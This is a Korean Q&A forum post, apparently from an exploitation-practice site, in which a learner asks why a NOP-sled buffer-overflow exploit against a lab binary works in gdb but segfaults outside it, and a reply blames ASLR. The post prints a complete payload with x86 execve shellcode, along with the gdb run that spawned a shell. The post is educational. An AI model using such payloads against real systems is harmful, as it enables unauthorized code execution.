완료됨
NOP Sled 질문이 있습니다.

NOP Sled 질문

메모리 구조 : buf(36) + SFP(4) + RET(4)

exploit → buf(40) + Nop중간지점(4) + Nop(100000) + ShellCode(23)

gdb

gdb-peda$ r $(python -c 'print "A"*40 + "\x50\x0e\xff\xff" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"')
Starting program: /root/binExploit/bf_1 $(python -c 'print "A"*40 + "\x50\x0e\xff\xff" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"')
0xfffe4ac4
process 2860 is executing new program: /usr/bin/dash
#

sh

root@kali:~/binExploit# ./bf_1 $(python -c 'print "A"*40 + "\x50\x0e\xff\xff" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"')
0xffe67614
Segmentation fault

안녕하세요 실습을 진행하면서 궁금하게 있어 질문을 드립니다.

셸 환경에서 NOP Opcode 를 주고 중간 지점의 주소값 부터 시작을 하도록 설정을 한후 exploit을 하였지만 Segmentation falut 오류가 발생합니다.

혹시 어떤 문제로 인해 발생하였는지 궁금합니다.😀

#시스템해킹
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
cdor1
Closed Beta Tester
avatar
cdor1
Closed Beta Tester

디버거 상에서 고정된 주소를 일반 실행 시에도 사용하시는 것으로 보입니다.
aslr 보호기법에 따라 작성자분 payload에서는 리턴할 스택 영역(+-100000) 오차 범위 내에서만 nop sled는 동작함으로 해당 범위 내를 RET로 사용하도록 하여야 합니다.

2020.06.10. 13:52